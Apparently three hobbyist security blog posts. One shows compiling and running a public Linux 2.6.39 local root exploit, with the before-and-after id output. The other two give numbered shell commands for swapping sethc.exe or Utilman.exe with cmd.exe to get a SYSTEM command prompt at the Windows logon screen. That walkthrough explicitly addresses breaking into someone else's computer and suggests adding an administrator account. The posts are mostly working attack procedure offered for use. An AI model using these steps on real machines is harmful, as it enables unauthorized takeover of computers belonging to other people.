Local priv escalation - linux kernel 2.6.39 and up

Today, i noticed a new local privilege escalation exploit on exploit-db.com, and decided to check that out. Initially i thought it might be an exploit for very old Linux kernels but that certainly wasn't the case (here is the advisory on securityfocus.com). I figured that i would try this on one of my VMs when i got home from work, but i was a little too impatient. I thought i would remote desktop to my systems and get started. Before i attempted this, i figured why not verify the kernel version of my host machine before initiating a remote desktop session. My laptop is running backtrack 5 R1. So i typed, "uname -sr" and was given the output "Linux 2.6.39.4". Very interesting i thought. Hmm, i figured i'll try it here before any of my VMs (yea i know, bad practice to try someone else's code on a host system before trying it out on your test bench, but i'm not perfect :-P). I went over to exploit-db.com and downloaded the exploit and got to work.

First i made sure i was logged in as an unpriveleged user.
Commands: whoami && id
Output:
noobuser
uid=1001(noobuser) gid=1001(noobuser) groups=1001(noobuser)

I complied the code using: gcc -o local_exploit 18411.c

Then i executed the exploit: ./exploit

I was then greeted with another shell. I then verified who i was logged in as.
Commands: whoami && id
Output:
root
uid=0(root) gid=0(root) groups=1001(noobuser)

There you have it. Even an account named noobuser can pwn systems and become root with lil effort. Unfortunately, noobuser will still continue to be considered anything but elite, atleast in the security community :(.

Physical access == priveledge escalation pt 2

This is another method that i found out recently that allows one to obtain a command prompt at the logon screen with system priveleges. If you recall from one of my previous post, i did this same trick using the utilman.exe replacement method. It turns out that there is another exe that we can replace as well to accomplish this same trick, called "sethc.exe". You replace this with cmd.exe then reboot your computer. When you encounter the logon screen, hit the shift key five times and you should now be greeted with a command prompt with system priveleges.

Quick notes:

1. Load up any linix OS
2. Mount the windows drive in a rw state: "mount -t ntfs-3g /dev/sda1 /mnt/sda1"
3. Navigate to the Windows/System32 folder: "cd /mnt/sda1/Windows/System32"
4. Rename sethc.exe : "mv sethc.exe sethc.bak"
5. Copy cmd.exe to the name of sethc.exe: "cp cmd.exe sethc.exe"
6. Sync the changes and flush buffers, Optional but safe: "Sync"
   
7. Reboot Comp: "reboot"
8. When on the logon screen hit the shift key 5 times and you should be presented with a command prompt with system priviledges. From here on you might wanna create a new user and add him to the administrators group
   

References/Good Reading:
Pentestit

Physical access to a computer == COMPLETE PWNGE

Having physical access to a computer in the year 2000s is great, aint it? Well for a malicious hacker, having physical access to someone elses computer is not only great but also guarantees him unauthorized access into the Windows system and doing so isnt quite the task either.

Check out the cool video on how quick and easy the task of breaking into a Windows system wherever physical access to the machine is present.

Offensive security link

Quick notes:

1. Load up any linix OS
2. Mount the windows drive in a rw state: "mount -t ntfs-3g /dev/sda1 /mnt/sda1"
3. Navigate to the Windows/System32 folder: "cd /mnt/sda1/Windows/System32"
4. Rename Utilman.exe : "mv Utilman.exe Utilman.bak"
5. Copy cmd.exe to a the name of Utilman.exe: "cp cmd.exe Utilman.exe"
6. Reboot Comp: "reboot"
7. When on the logon screen hold down the 'windows key' and 'U' and you should be presented with a command prompt with system priviledges. From here on you might wanna create a new user and add him to the administrators group